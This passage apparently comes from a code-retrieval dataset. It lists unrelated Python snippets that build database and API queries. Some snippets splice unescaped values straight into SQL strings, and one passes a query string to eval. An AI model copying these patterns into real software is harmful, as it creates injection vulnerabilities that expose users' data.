Q(job_tag__tag__in=str(job_tag).split(\\\",\\\")),\\n Q.AND)\\n\\n if level:\\n if level.isnumeric():\\n q_object.add(\\n Q(level__icontains=int(level)),\\n Q.AND)\\n else:\\n raise Exception(\\n ErrorMessage.WRONG_FIELD_TYPE.value.format(\\\"level\\\",\\n \\\"numeric\\\"))\\n\\n q_object.add(Q(status=strtobool(status)), Q.AND) if status in [\\n \\\"true\\\", \\\"True\\\", \\\"False\\\", \\\"false\\\"] else None\\n\\n return q_object\",\n \"def query3() :\",\n \"def __str__(self):\\n return self.sql()\",\n \"def __str__(self):\\n query = []\\n\\n if self.root:\\n query.append('query')\\n\\n if self.alias is not None:\\n query.append(self.alias + ':')\\n\\n if self.name is not None:\\n query.append(str(self.name))\\n\\n if self.filters:\\n query.append('(')\\n for k,v in self.filters.items():\\n query.append('{k}:\\\"{v}\\\"'.format(k=k, v=v))\\n query.append(')')\\n\\n if self.children:\\n query.append('{')\\n if self.children:\\n for idx, f in enumerate(self.children.values()):\\n query.append(str(f))\\n if idx < len(self.children) - 1:\\n query.append(',')\\n\\n query.append('}')\\n\\n return ''.join(query)\",\n \"def query(self, obj):\\r\\n self.require_collection()\\r\\n request = http.Request('POST', self.get_url(), self.wrap_object(obj))\\r\\n\\r\\n return request, parsers.parse_json\",\n \"def query(self, **kwargs):\",\n \"def query(self):\\n pass\",\n \"def _run_query(self):\",\n \"def __generateQuery(self, query):\\n if query == None:\\n return [\\\"1=1\\\"]\\n elif type(query) is not list:\\n return [query]\\n else:\\n return query\",\n \"def sql(self, q):\\r\\n params = base.get_params(None, locals())\\r\\n url = '{0}/{1}'.format(self.get_url(), 'sql')\\r\\n\\r\\n return http.Request('POST', url, params), parsers.parse_json\",\n \"def asString(self):\\n q = self.copy()\\n q.addFunction(Query.Function.AsString)\\n return q\",\n \"def get_query(self):\\n columns = ','.join(['\\\"{}\\\"'.format(x) for x in self.columns])\\n query = 'SELECT {} FROM \\\"{}\\\"'.format(columns, self.table)\\n filter_params = []\\n if self.filters:\\n filter_sql, filter_params = filter_postgis(self.filters)\\n query += ' WHERE {}'.format(filter_sql)\\n query += ';'\\n return str(text(query)), filter_params\",\n \"def construct_query(self):\\n reader = QueryReader(filepath=self.filepath, filename=self.filename, raw_sql=self.raw_sql, params=self.params)\\n return reader.sql\",\n \"def _query_builder(self,\\n start_date=None,\\n end_date=None,\\n clipper=None\\n ):\\n search_string='format=json&lang=fr&q='\\n if (start_date is not None):\\n if(end_date is not None):\\n search_string+='entre+'+start_date+'+et+'+end_date\\n else:\\n search_string+=start_date\\n elif(end_date is not None): \\n search_string+=end_date\\n \\n if(clipper.query is not None):\\n query=clipper.query.replace(' ','+')\\n search_string+='+'+query\\n if(clipper.bbox is not None):\\n search_string+='&box='+clipper.bbox\\n\\n return search_string\",\n \"def __str__(self):\\n return \\\"Query(constraints={},model={})\\\".format(\\n [str(c) for c in self.constraints], self.model\\n )\",\n \"def _get_query(self):\\n\\n endpoint = ENDPOINTS[self.sync_data.endpoint_index]\\n marker = self.sync_data.markers.get(self.sync_data.endpoint_index, START_OF_TIME)\\n\\n query_string = \\\"select \\\" + \\\",\\\".join(ENDPOINT_QUERY_FIELDS[endpoint])\\n\\n # ZOQL does not support the `order by` sorting\\n query_string = query_string + \\\" from {} where UpdatedDate > '{}'\\\".format(\\n endpoint,\\n marker\\n )\\n\\n return query_string\",\n \"def _build_statement(self, query, query_key, beets_key):\\n statement = \\\"\\\"\\n if query_key in query:\\n for query_string in query[query_key]:\\n if '\\\"' in query_string:\\n statement += \\\" and %s = \\\\'%s\\\\' \\\" % (beets_key,\\n query_string)\\n else:\\n statement += ' and %s = \\\\\\\"%s\\\\\\\" ' % (beets_key,\\n query_string)\\n return statement\",\n \"def make_query(self, query, data: Dict):\\n return query.format_map(data)\",\n \"def get_query(self):\\n columns = ','.join(['\\\"{}\\\"'.format(x) for x in self._columns])\\n query = 'SELECT {} FROM \\\"{}\\\"'.format(columns, self._table)\\n filter_params = []\\n if self._filters:\\n filter_sql, filter_params = filter_postgis(self._filters)\\n query += ' WHERE {}'.format(filter_sql)\\n query += ';'\\n return str(text(query)), filter_params\",\n \"def gws_q(self, query, attribute, data):\\n \\n gws_q = query.format(attribute, data) #attribute = SQL table\\n \\n query_df = db.query(gws_q) \\n return query_df\",\n \"def __init__(self, query, from_field, to_field):\\n self._query = '{!join}' + query\\n self._from = from_field\\n self._to = to_field\",\n \"def salesforce_query(self, obj_name, **kwargs):\\n query = \\\"SELECT \\\"\\n if \\\"select\\\" in kwargs:\\n query += kwargs[\\\"select\\\"]\\n else:\\n query += \\\"Id\\\"\\n query += \\\" FROM {}\\\".format(obj_name)\\n where = []\\n for key, value in kwargs.items():\\n if key == \\\"select\\\":\\n continue\\n where.append(\\\"{} = '{}'\\\".format(key, value))\\n if where:\\n query += \\\" WHERE \\\" + \\\" AND \\\".join(where)\\n self.builtin.log(\\\"Running SOQL Query: {}\\\".format(query))\\n return self.cumulusci.sf.query_all(query).get(\\\"records\\\", [])\",\n \"def query(self):\\r\\n raise NotImplementedError\",\n \"def get_query():\\n query = \\\"\\\"\\\"{\\n repository(name: \\\"flux\\\", owner: \\\"fluxcd\\\") {\\n forkCount\\n issues {\\n totalCount\\n }\\n pullRequests {\\n totalCount\\n }\\n releases {\\n totalCount\\n }\\n stargazers {\\n totalCount\\n }\\n watchers {\\n totalCount\\n }\\n }\\n}\\n \\\"\\\"\\\"\\n return query\",\n \"def make_complex_query_set(self):\\n\\n query = self.request.GET.get(\\\"q\\\")\\n category_name = self.request.GET.get(\\\"category_name\\\")\\n o_net_soc_code = self.request.GET.get(\\\"o_net_soc_code\\\")\\n description = self.request.GET.get(\\\"description\\\")\\n job_title = self.request.GET.get(\\\"job_title\\\")\\n level = self.request.GET.get(\\\"level\\\", '')\\n\\n q_object = Q()\\n\\n if query:\\n q_object.add((\\n Q(category__category_name__icontains=query) |\\n Q(category__o_net_soc_code__icontains=query) |\\n Q(category__description__icontains=query) |\\n Q(category__job_title__description__icontains=query) |\\n Q(category__job_title__title__icontains=query)\\n ), Q.OR)\\n\\n if query.isnumeric():\\n q_object.add(\\n Q(category__job_title__level__icontains=int(query)), Q.OR)\\n\\n else:\\n if category_name:\\n q_object.add(\\n Q(category__category_name__icontains=category_name),\\n Q.AND)\\n\\n if o_net_soc_code:\\n q_object.add(\\n Q(category__o_net_soc_code__icontains=o_net_soc_code),\\n Q.AND)\\n\\n if description:\\n q_object.add((\\n Q(category__description__icontains=description) |\\n Q(\\n category__job_title__description__icontains=description)\\n ), Q.AND)\\n\\n if job_title:\\n q_object.add(\\n Q(category__job_title__title__icontains=job_title),\\n Q.AND)\\n\\n if level:\\n if level.isnumeric():\\n q_object.add(\\n Q(category__job_title__level__icontains=int(level)),\\n Q.AND)\\n else:\\n raise Exception(\\n ErrorMessage.WRONG_FIELD_TYPE.value.format(\\\"level\\\",\\n \\\"numeric\\\"))\\n\\n return q_object\",\n \"def build_query(self):\\r\\n # build query from base class add required field for joining with parent\\r\\n query = super().build_query()\\r\\n query = query.filter(Metric.metric_id == QuantModelMetric.metric_id)\\r\\n\\r\\n # get the remaining query parameters\\r\\n asset_class = request.args.get('asset_class')\\r\\n model_name = request.args.get('model_name')\\r\\n pricing_library = request.args.get('pricing_library')\\r\\n\\r\\n # process each parameter and, if valid, add as a query condition\\r\\n if asset_class is not None:\\r\\n query = query.filter(QuantModelMetric.asset_class == asset_class)\\r\\n if model_name is not None:\\r\\n query = query.filter(QuantModelMetric.model_name == model_name)\\r\\n if pricing_library is not None:\\r\\n query = query.filter(QuantModelMetric.pricing_library == pricing_library)\\r\\n return query\",\n \"def _create_query_str(data):\\n params = []\\n for name, value in data.items():\\n params.append(name + '=' + str(value))\\n\\n return '?' + '&'.join(params)\",\n \"def __call__(self, data):\\n return data.eval(self.query)\",\n \"def generate_json_query(self):\\n if not self.properties:\\n print(\\\"ERROR: no properties given to generate JSON query.\\\")\\n raise ValueError\\n\\n if self.data_type == DataType.ENTRY:\\n q_str = \\\"entry_ids\\\"\\n elif \\\"entit\\\" in self.data_type.value:\\n if \\\"instance\\\" in self.data_type.value:\\n q_str = \\\"instance_ids\\\"\\n else:\\n q_str = \\\"entity_ids\\\"\\n elif self.data_type == DataType.ASSEMBLY:\\n q_str = \\\"assembly_ids\\\"\\n elif self.data_type == DataType.CHEMICAL_COMPONENT:\\n q_str = \\\"comp_ids\\\"\\n\\n data_str = f\\\"{self.data_type.value}({q_str}: [\\\" + \\\",\\\".join(f\\\"\\\\\\\"{w}\\\\\\\"\\\" for w in self.id) + \\\"])\\\"\\n\\n props_string = \\\"\\\"\\n for key, val in self.properties.items():\\n if len(val) == 0:\\n props_string += f\\\"{key},\\\"\\n else:\\n props_string += f\\\"{key} {{\\\" + \\\",\\\".join(val) + \\\"}\\\"\\n\\n self.json_query = {'query': \\\"{\\\" + data_str + \\\"{\\\" + props_string + \\\"}}\\\"}\",\n \"def execute_query(self, *args, **kwargs):\",\n \"def query_str(self):\\n return \\\"(seqid == %r) & (start >= %s) & (end <= %s)\\\" % (self.seqid, self.start, self.end)\",\n \"def query(self):\\n return self.__query\",\n \"def asSQL(self) -> str:\\n # To modify this method, pay attentin to SQL injection.\\n # For example, if `self.x` is assumed to be integer\\n # but is not guaranteed to be,\\n # `:d` must always be specified in format strings:\\n # `expressions.append(f\\\"x > {self.x:d}\\\")`\\n expressions = []\\n if self.date_start is not None:\\n if self.date_start.tzinfo is None:\\n datestr = self.date_start.isoformat()\\n else:\\n datestr = self.date_start.astimezone(datetime.timezone.utc).replace(tzinfo=None).isoformat()\\n expressions.append(f\\\"pfs_visit.issued_at >= '{datestr}'\\\")\\n if self.date_end is not None:\\n if self.date_end.tzinfo is None:\\n datestr = self.date_end.isoformat()\\n else:\\n datestr = self.date_end.astimezone(datetime.timezone.utc).replace(tzinfo=None).isoformat()\\n expressions.append(f\\\"pfs_visit.issued_at < '{datestr}'\\\")\\n if self.visit_start is not None:\\n expressions.append(f\\\"pfs_visit.pfs_visit_id >= '{self.visit_start:d}'\\\")\\n if self.visit_end is not None:\\n expressions.append(f\\\"pfs_visit.pfs_visit_id < '{self.visit_end:d}'\\\")\\n\\n if expressions:\\n return \\\"(\\\" + \\\" AND \\\".join(expressions) + \\\")\\\"\\n else:\\n return \\\"TRUE\\\"\",\n \"def get_raw_query(self):\\n # create a raw query\\n if len(self.criteria) > 1:\\n # more than one criteria, create a AND query\\n raw_query = {\\\"$and\\\": self.criteria}\\n else:\\n # one criteria, raw query is the criteria\\n raw_query = self.criteria[0]\\n\\n return raw_query\",\n \"def text(self):\\n return self.query.query\",\n \"def query_object_raw(self, o):\\n self.setQuery(\\\"\\\"\\\"\\n Select ?s ?p where {\\n ?s ?p %s\\n } ORDER BY (?s)\\\"\\\"\\\" % (o))\\n\\n try:\\n rval = self.query()\\n g = rval.convert()\\n return [(x['s'], x['p']) for x in g['results']['bindings']]\\n except:\\n print \\\"Select failed\\\"\\n traceback.print_exc(file=sys.stdout)\",\n \"def build(self) -> str:\\n query = \\\"{Get{\\\"\\n\\n for get in self.get_builder:\\n query += get.build(wrap_get=False)\\n return query + \\\"}}\\\"\",\n \"def get_table_query_string(self) -> str:\\n if self.database and self.table:\\n return f'\\\"{self.database}\\\".\\\"{self.schema}\\\".\\\"{self.table}\\\"'\\n elif self.table:\\n return f'\\\"{self.table}\\\"'\\n else:\\n return f\\\"({self.query})\\\"\",\n \"def as_sql(self):\\n distinct = 'DISTINCT ' if self._distinct else ''\\n final = ' FINAL' if self._final else ''\\n table_name = '`%s`' % self._model_cls.table_name()\\n if self._model_cls.is_system_model():\\n table_name = '`system`.' + table_name\\n params = (distinct, self.select_fields_as_sql(), table_name, final)\\n sql = u'SELECT %s%s\\\\nFROM %s%s' % params\\n\\n if self._prewhere_q and not self._prewhere_q.is_empty:\\n sql += '\\\\nPREWHERE ' + self.conditions_as_sql(prewhere=True)\\n\\n if self._where_q and not self._where_q.is_empty:\\n sql += '\\\\nWHERE ' + self.conditions_as_sql(prewhere=False)\\n\\n if self._grouping_fields:\\n sql += '\\\\nGROUP BY %s' % comma_join('`%s`' % field for field in self._grouping_fields)\\n\\n if self._grouping_with_totals:\\n sql += ' WITH TOTALS'\\n\\n if self._order_by:\\n sql += '\\\\nORDER BY ' + self.order_by_as_sql()\\n\\n if self._limit_by:\\n sql += '\\\\nLIMIT %d, %d' % self._limit_by\\n sql += ' BY %s' % comma_join(string_or_func(field) for field in self._limit_by_fields)\\n\\n if self._limits:\\n sql += '\\\\nLIMIT %d, %d' % self._limits\\n\\n return sql\",\n \"def _assemble(self):\\n setexpr = ', '.join(\\n f'{name} = %({name})s'\\n for name in self._valueskw\\n )\\n froms = 'from ' + ', '.join(self._tables) if self._tables else ''\\n kw = self._kw.copy()\\n wheres, wkw = self._build_where()\\n kw.update(wkw)\\n kw.update(self._valueskw)\\n return (\\n f'update {self._table} '\\n f'set {setexpr} '\\n f'{froms} '\\n f'{wheres}'\\n ), kw\",\n \"def get_query(self):\\n q = db.Query(self.KIND,keys_only=self.KEYS_ONLY)\\n for prop, value in self.FILTERS:\\n q.filter(\\\"%s =\\\" % prop, value)\\n if self.ancestor:\\n q.ancestor(self.ancestor)\\n q.order(self.ORDER_BY)\\n return q\",\n \"def build_query(self):\\r\\n query = super().build_query()\\r\\n query = query.filter(Metric.metric_id == MlModelMetric.metric_id)\\r\\n algorithm = request.args.get('algorithm')\\r\\n if algorithm is not None:\\r\\n query = query.filter(MlModelMetric.algorithm == algorithm)\\r\\n return query\",\n \"def where(self, value, operator=\\\"\\\"):\\n return f\\\"\\\"\\\"\\nto_tsvector('english', json->>'{sqlq(self.name)}') @@ plainto_tsquery(${{arg}}::text)\\\"\\\"\\\"\",\n \"def sql(self, method: str = 'select') -> str:\",\n \"def build_query_clauses(\\n where: str = \\\"\\\", order: str = \\\"\\\", limit: int = 0, offset: int = 0\\n ) -> str:\\n return SqliteQueryBuilder.build_query_clauses(where, order, limit, offset)\",\n \"def determine_query():\\n return query if query is not None \\\\\\n else f\\\"SELECT * FROM '{table}';\\\"\",\n \"def sql_query(self):\\n return self._project.sql_query\",\n \"def _gen_cat_query(self,query_fields=None):\\n if query_fields is None:\\n object_id_fields = ['decals_id','brick_primary','brickid','ra','dec','gaia_pointsource']\\n mag_fields = ['mag_g','mag_r','mag_z','mag_w1','mag_w2','mag_w3','mag_w4']\\n snr_fields = ['snr_g','snr_r','snr_z','snr_w1','snr_w2','snr_w3','snr_w4']\\n query_fields = object_id_fields+mag_fields+snr_fields\\n \\n database = \\\"ls_dr7.tractor\\\"\\n self.query = dlsurvey._default_query_str(query_fields, database, self.coord, self.radius)\",\n \"def build_query(self):\\n query = self.action.build_query()\\n if self.sandboxoption != None:\\n query['Sandbox'] = self.sandboxoption\\n else:\\n query['Sandbox'] = '0'\\n return query\",\n \"def gen_q_stmt(name, query):\\n return \\\"query {} `{}`;\\\\n\\\".format(name, query)\",\n \"def get_queryset(self, model, query_str):\\n query_str = 'model.objects.' + query_str.lstrip('.')\\n return eval(query_str, dict(model=model))\",\n \"def getQuery(self, context, obj):\\n return TestModel.all()\",\n \"def to_sql(self):\\n\\n if not self._action:\\n self.set_action(\\\"select\\\")\\n for scope in self._global_scopes.get(self.owner, {}).get(self._action, []):\\n if not scope:\\n continue\\n\\n scope(self.owner, self)\\n\\n grammar = self.get_grammar()\\n sql = grammar.compile(self._action).to_sql()\\n self.boot()\\n return sql\",\n \"def build_query(db, request, tags):\\n inner_query, clauses = build_inner_query(request, tags)\\n if len(tags) and tags[-1][0] == 'uuid':\\n # if we select uuid as the trailing tag we have to be special\\n query = \\\"\\\"\\\"\\nSELECT DISTINCT s.uuid \\nFROM stream AS s\\nWHERE s.id IN \\\"\\\"\\\" + inner_query\\n elif len(tags) and (tags[-1][1] == None or tags[-1][1] == ''):\\n # odd-numbered clasues, so we print matching values of tags\\n t = escape_string(tags[-1][0])\\n query = \\\"\\\"\\\"\\nSELECT DISTINCT metadata -> %s AS svals FROM stream\\nWHERE id IN %s AND metadata ? %s\\nORDER BY svals ASC\\\"\\\"\\\" % (t, inner_query, t)\\n else:\\n # otherwise we print all tags matching the restriction\\n query = \\\"\\\"\\\"\\nSELECT DISTINCT skeys\\nFROM (\\n SELECT skeys(metadata) FROM stream\\n WHERE id IN %s\\n) AS skeys ORDER BY skeys ASC\\\"\\\"\\\" % inner_query\\n\\n log.msg(query)\\n d = db.runQuery(query)\\n d.addCallback(log_time, time.time())\\n return d\",\n \"def query(cls, **kwds):\\n #NOTE: Only static properties can be indexed by homer, \\n # so we don't worry about querying for dynamic properties\\n query = \\\"\\\"\\n started = False\\n for name in kwds:\\n if not started:\\n pattern = \\\"%s=:%s\\\" % (name, name)\\n query += pattern\\n started = True\\n else:\\n pattern = \\\" AND %s=:%s\\\" % (name, name)\\n query += pattern\\n\\n q = 'SELECT * FROM %s WHERE %s' % (cls.kind(), query)\\n query = CqlQuery(cls, q, **kwds)\\n query.convert = True\\n return query\",\n \"def query(mdx_stmt):\",\n \"def query(self, value):\\n \\n self._query = str(value) if value else None\",\n \"def where(self, value, operator=\\\">\\\"):\\n assert operator in self.operators\\n return f\\\"\\\"\\\"\\nf_cast_isots(json->>'{sqlq(self.name)}') {sqlq(operator)} ${{arg}}::{sqlq(self.cast_type)}\\\"\\\"\\\"\",\n \"def make_complex_query_set(self):\\n\\n query = self.request.GET.get(\\\"q\\\")\\n category = self.request.GET.get(\\\"category\\\")\\n title = self.request.GET.get(\\\"title\\\")\\n\\n q_object = Q()\\n\\n if query:\\n q_object.add((\\n Q(category__category_name__icontains=query) |\\n Q(title__icontains=query) \\n ), Q.OR)\\n\\n else:\\n if category:\\n q_object.add(\\n Q(category=category),\\n Q.AND)\\n if title:\\n q_object.add(\\n Q(title__icontains=title),\\n Q.AND)\\n\\n return q_object\",\n \"def query(self):\\n return Query(from_=self)\",\n \"def _format_queries(self, body):\\n for query in body:\\n if \\\"bindVars\\\" in query:\\n query[\\\"bind_vars\\\"] = query.pop(\\\"bindVars\\\")\\n if \\\"runTime\\\" in query:\\n query[\\\"runtime\\\"] = query.pop(\\\"runTime\\\")\\n return body\",\n \"def _make_query_result(self, cr , uid, data, context=None):\\n search_criterea = ''\\n #Date Wise Bifurcation\\n if data.type == 'date':\\n start = data.start_date\\n end = data.end_date\\n if start and end:\\n start = self.date_to_datetime(cr, uid, start + ' 00:00:00', context=context)\\n end = self.date_to_datetime(cr, uid, end + ' 23:59:59', context=context)\\n search_criterea += \\\" AND mp.date_planned > '\\\" + str(start) + \\\"' AND mp.date_finished < '\\\" + str(end) + \\\"' \\\"\\n elif start:\\n start = self.date_to_datetime(cr, uid, start + ' 00:00:00', context=context)\\n search_criterea += \\\" AND mp.date_planned > '\\\" + str(start) + \\\"' \\\"\\n elif end:\\n end = self.date_to_datetime(cr, uid, end + ' 23:59:59', context=context)\\n search_criterea += \\\" AND mp.date_finished < '\\\" + str(end) + \\\"' \\\"\\n else:\\n #Number Wise Bifurcation\\n number_from = data.number_from\\n number_to = data.number_to\\n if number_from <= 0 or number_to <= 0:\\n raise osv.except_osv(_('Warning!'), _('Negative or Zero number not allow to pass!'))\\n if number_from > 0 and number_to > 0:\\n if number_from > number_to:\\n raise osv.except_osv(_('Warning!'), _('Please correct the number place.\\\\nNumber To must be greater then Number From.'))\\n count, comma = 0, True\\n if number_from == number_to:\\n comma = False\\n for r in range(number_from, number_to + 1):\\n count += 1\\n if count == 1: search_criterea += \\\" AND mp.name SIMILAR TO '%(\\\"\\n search_criterea += str(r)\\n if comma and (r <> number_to): search_criterea += '|'\\n if r == number_to: search_criterea += \\\")%'\\\"\\n #State Wise Bifurcation\\n if data.draft or data.in_production or data.ready or data.done or data.cancel or data.confirmed or data.picking_except:\\n if not search_criterea: search_criterea += ' AND mp.state in ('\\n else:\\n search_criterea += ' AND mp.state in ('\\n j_s = ''\\n if data.draft: j_s += \\\"'draft',\\\"\\n if data.in_production: j_s += \\\"'in_production',\\\"\\n if data.ready: j_s += \\\"'ready',\\\"\\n if data.done: j_s += \\\"'done',\\\"\\n if data.cancel: j_s += \\\"'cancel',\\\"\\n if data.confirmed: j_s += \\\"'confirmed',\\\"\\n if data.picking_except: j_s += \\\"'picking_except',\\\"\\n search_criterea += j_s[:-1]+')'\\n if search_criterea: search_criterea = ' WHERE mpwl.production_id = mp.id ' + search_criterea\\n #Merged this query criterea for execution\\n cr.execute(\\\"\\\"\\\" SELECT mpwl.id FROM mrp_production mp, mrp_production_workcenter_line mpwl \\\"\\\"\\\"+ search_criterea)\\n return [r[0] for r in cr.fetchall()]\",\n \"def as_sql(self, qn, connection):\\n lhs, lhs_params = self.process_lhs(qn, connection)\\n rhs, rhs_params = self.process_rhs(qn, connection)\\n\\n field = lhs\\n # JSONField formats query values for the database by wrapping them psycopg2's\\n # JsonAdapter, but we need the raw Python dict so that we can parse the\\n # query tree. Intercept the query parameter (it'll always be the first\\n # element in the parameter list, since the custom jsonb filter only accepts one argument)\\n # and revert it back to a Python dict for tree parsing.\\n tree = rhs_params[0].adapted\\n\\n return FilterTree(tree, field).sql()\",\n \"def query(self, paramstyle=None):\\n s = []\\n for x in self.items:\\n if isinstance(x, SQLParam):\\n x = x.get_marker(paramstyle)\\n s.append(safestr(x))\\n else:\\n x = safestr(x)\\n # automatically escape % characters in the query\\n # For backward compatability, ignore escaping when the query looks already escaped\\n if paramstyle in ['format', 'pyformat']:\\n if '%' in x and '%%' not in x:\\n x = x.replace('%', '%%')\\n s.append(x)\\n return \\\"\\\".join(s)\",\n \"def get_resource_query(self):\\n pass\",\n \"def get_resource_query(self):\\n pass\",\n \"def _get_queries(args):\\n if args.mode == '2DSEQ':\\n queries = [\\\"@type=='2dseq'\\\", \\\"@is_spectroscopy==True\\\", \\\"@is_complex==True\\\"]\\n elif args.mode == 'FID':\\n queries = [\\\"@type=='fid'\\\", \\\"@is_spectroscopy==True\\\"]\\n return queries + args.query\",\n \"def filter(self, **kwargs):\\n kwargs['query'] += ' FROM {0}'\\n return kwargs\",\n \"def _generate_query_string(self):\\n \\n query_items = {}\\n \\n for key, val in self.__dict__.iteritems():\\n if not key.startswith('_'):\\n query_items[key] = val.encode('utf-8')\\n \\n return urllib.urlencode(query_items)\",\n \"def __repr__(self):\\n return \\\"%s[%s]\\\" % (self.index_type, self.query)\",\n \"def where(self, value, operator=\\\">\\\"):\\n assert operator in self.operators\\n return f\\\"\\\"\\\"\\nCAST(json->>'{sqlq(self.name)}' AS {sqlq(self.cast_type)}) {sqlq(operator)} ${{arg}}::{sqlq(self.cast_type)}\\\"\\\"\\\" # noqa\",\n \"def _assemble(self):\\n assert self._kw, \\\"Call values() first\\\"\\n names = ','.join(list(self._kw))\\n holders = ','.join(f'%({name})s' for name in self._kw)\\n return (\\n f'insert into {self._table} '\\n f'({names}) values ({holders}) '\\n f'returning {self._returning}'\\n ), self._kw.copy()\",\n \"def pp_query(query):\\n print(format_query(query))\",\n \"def query(self):\\n return self._query\",\n \"def query(self):\\n return self._query\",\n \"def query(self):\\n return self._query\",\n \"def request(query):\",\n \"def _create_query_string(self, query):\\n # Check for a result type, if none found, set it to default.\\n result_type = query.result_type\\n if not result_type:\\n result_type = self.default_result_type\\n\\n # Check to if the result type is valid\\n if result_type not in RESULT_TYPES:\\n raise QueryParamException(self.name, \\\"Engine doesn't support query result type '{0}'\\\"\\n .format(query.result_type))\\n\\n search_params = {'result_type': result_type,\\n 'q': query.terms}\\n\\n query_append = \\\"search?q={}&type={}&access_token={}\\\".format\\\\\\n (search_params['q'], search_params['result_type'], self.api_key)\\n\\n return API_ENDPOINT + encode_symbols(query_append)\",\n \"def query(self):\\n q = dict(self._query)\\n fworker_check = [{\\\"spec._fworker\\\": {\\\"$exists\\\": False}}, {\\\"spec._fworker\\\": None}, {\\\"spec._fworker\\\": self.name}]\\n if \\\"$or\\\" in q:\\n q[\\\"$and\\\"] = q.get(\\\"$and\\\", [])\\n q[\\\"$and\\\"].extend([{\\\"$or\\\": q.pop(\\\"$or\\\")}, {\\\"$or\\\": fworker_check}])\\n else:\\n q[\\\"$or\\\"] = fworker_check\\n if self.category and isinstance(self.category, str):\\n if self.category == \\\"__none__\\\":\\n q[\\\"spec._category\\\"] = {\\\"$exists\\\": False}\\n else:\\n q[\\\"spec._category\\\"] = self.category\\n elif self.category: # category is list of str\\n q[\\\"spec._category\\\"] = {\\\"$in\\\": self.category}\\n\\n return q\",\n \"def __str__(self):\\n if self.__checkForEmptyQuery():\\n raise EmptyQueryException\\n\\n # What fields are needed?\\n authors = (len(self.queries[\\\"au\\\"]) > 0)\\n titlesOrAbstracts = ((len(self.queries[\\\"ti\\\"]) > 0)\\n or (len(self.queries[\\\"abs\\\"]) > 0))\\n titlesAndAbstracts = ((len(self.queries[\\\"ti\\\"]) > 0)\\n and (len(self.queries[\\\"abs\\\"]) > 0))\\n categories = (len(self.categories) > 0)\\n\\n url = self.baseUrl + self.searchPrefix + self.blockStart\\n # Start with authors\\n if authors:\\n url += self.blockStart + self.__produceBlock(\\\"au\\\") + self.blockEnd\\n if titlesOrAbstracts:\\n url += self.connectorStrings[self.connector]\\n\\n # Now do title/abstract queries\\n if titlesOrAbstracts:\\n url += self.blockStart\\n url += self.__produceBlock(\\\"ti\\\")\\n if titlesAndAbstracts:\\n url += self.connectorStrings[\\\"or\\\"]\\n url += self.__produceBlock(\\\"abs\\\") + self.blockEnd\\n if titlesOrAbstracts:\\n url += self.blockEnd\\n\\n # Lastly, do the categories\\n if categories:\\n url += (self.connectorStrings[\\\"and\\\"] + self.blockStart\\n + self.__produceBlock(\\\"cat\\\", self.categories)\\n + self.blockEnd)\\n url += (r\\\"&sortBy=lastUpdatedDate&start={0:d}&max_results={1:d}\\\"\\n .format(self.start, self.N))\\n return url\",\n \"def showGqlQuery(query):\\n proto = query._proto_query\\n kind = query._model_class.kind()\\n filters = proto.filters()\\n boundfilters = proto._GQL__bound_filters\\n orderings = proto.orderings()\\n hint = proto.hint()\\n limit = proto.limit()\\n offset = proto._GQL__offset\\n\\n select = \\\"SELECT * FROM %s\\\" % kind\\n where = []\\n order = []\\n\\n for k in sorted(filters):\\n for clause in filters[k]:\\n name, op = clause\\n if name==-1: name = 'ANCESTOR'\\n where.append(\\\"%s %s :%s\\\" % (name, op.upper(), k))\\n\\n for k in sorted(boundfilters):\\n if isinstance(k, tuple):\\n op = ' '.join(k)\\n else:\\n op = k\\n where.append(\\\"%s %r\\\" % (op, boundfilters[k]))\\n\\n for p, o in orderings:\\n order.append(\\\"%s %s\\\" % (p, 'DESC' if o==datastore.Query.DESCENDING else 'ASC'))\\n\\n gql = select\\n if where:\\n gql += ' WHERE '+' AND '.join(where)\\n if order:\\n gql += ' ORDER BY ' + ', '.join(order)\\n if limit != -1:\\n if offset != -1:\\n gql += ' LIMIT %s,%s' % (offset,limit)\\n else:\\n gql += ' LIMIT %s' % limit\\n elif offset != -1:\\n gql += ' OFFSET %s' % offset\\n return gql\",\n \"def build_query(devices, filter_inter, interactions_further=None):\\n\\n id_2_found = CsvFormat.other_id.value\\n if interactions_further is not None:\\n id_2_found = CsvFormat.my_id.value\\n\\n query = 'SELECT i._{} as id, CAST(i._{} as int) as timestamp_start, CAST(i._{} as float) as interval_time ' \\\\\\n 'FROM S3Object i WHERE CAST(i._{} as float) >= {}'.format(\\n id_2_found,\\n CsvFormat.timestamp_start.value,\\n CsvFormat.interval.value,\\n CsvFormat.interval.value,\\n MINIMUM_INTERVAL_TIME)\\n\\n if 'distance' in filter_inter:\\n if 'max' in filter_inter['distance']:\\n query += ' and CAST(i._{} as float) <= {}'.format(CsvFormat.distance_type.value,\\n filter_inter['distance']['max'])\\n if 'min' in filter_inter['distance']:\\n query += ' and CAST(i._{} as float) >= {}'.format(CsvFormat.distance_type.value,\\n filter_inter['distance']['min'])\\n\\n if interactions_further is not None:\\n condos = []\\n for inter in interactions_further:\\n orcond = '(i._{}=\\\\'{}\\\\' and (CAST(i._{} as float) between {} and {} or CAST(i._{} as float) between {} and {}))'\\\\\\n .format(CsvFormat.other_id.value,\\n inter['id'],\\n CsvFormat.timestamp_start.value,\\n inter['timestamp_start'],\\n int(inter['timestamp_start'] + inter['interval_time']),\\n CsvFormat.timestamp_end.value,\\n inter['timestamp_start'],\\n int(inter['timestamp_start'] + inter['interval_time'])\\n )\\n condos.append(orcond)\\n if len(condos) > 0:\\n query += ' and ' + ' or '.join(condos)\\n else:\\n query += ' and i._{} in (\\\\'{}\\\\')'.format(\\n CsvFormat.my_id.value,\\n '\\\\',\\\\''.join([str(x) for x in devices])\\n )\\n\\n return query\",\n \"def build(self, query_str):\\r\\n try:\\r\\n parsed = self.parser.parseString(query_str)\\r\\n except ParseException,e:\\r\\n raise QueryException(e)\\r\\n\\r\\n source = self.__get_source(parsed)\\r\\n tree = self.__get_tree(parsed)\\r\\n handler = self.__get_handler(parsed)\\r\\n query = Query(tree, source, handler)\\r\\n return query\",\n \"def query(self):\\n \\n return self._query\",\n \"def query(self, query, request_type=None):\\n\\n #encode to UTF-8\\n try: query = query.encode(\\\"utf-8\\\")\\n except: query = query.decode('raw_unicode_escape').encode(\\\"utf-8\\\")\\n\\n lowercase_query = query.lower()\\n if lowercase_query.startswith(\\\"select\\\") or \\\\\\n lowercase_query.startswith(\\\"describe\\\") or \\\\\\n lowercase_query.startswith(\\\"show\\\") or \\\\\\n request_type==\\\"GET\\\":\\n\\n return self._get(urllib.urlencode({'sql': query}))\\n\\n else:\\n return self._post(urllib.urlencode({'sql': query}))\",\n \"def build_query_structure(self):\\n query_list = list()\\n filter_list = list()\\n for key, val in self.q_dict.items():\\n if key in self.es_query_keys:\\n query_list.append(\\n 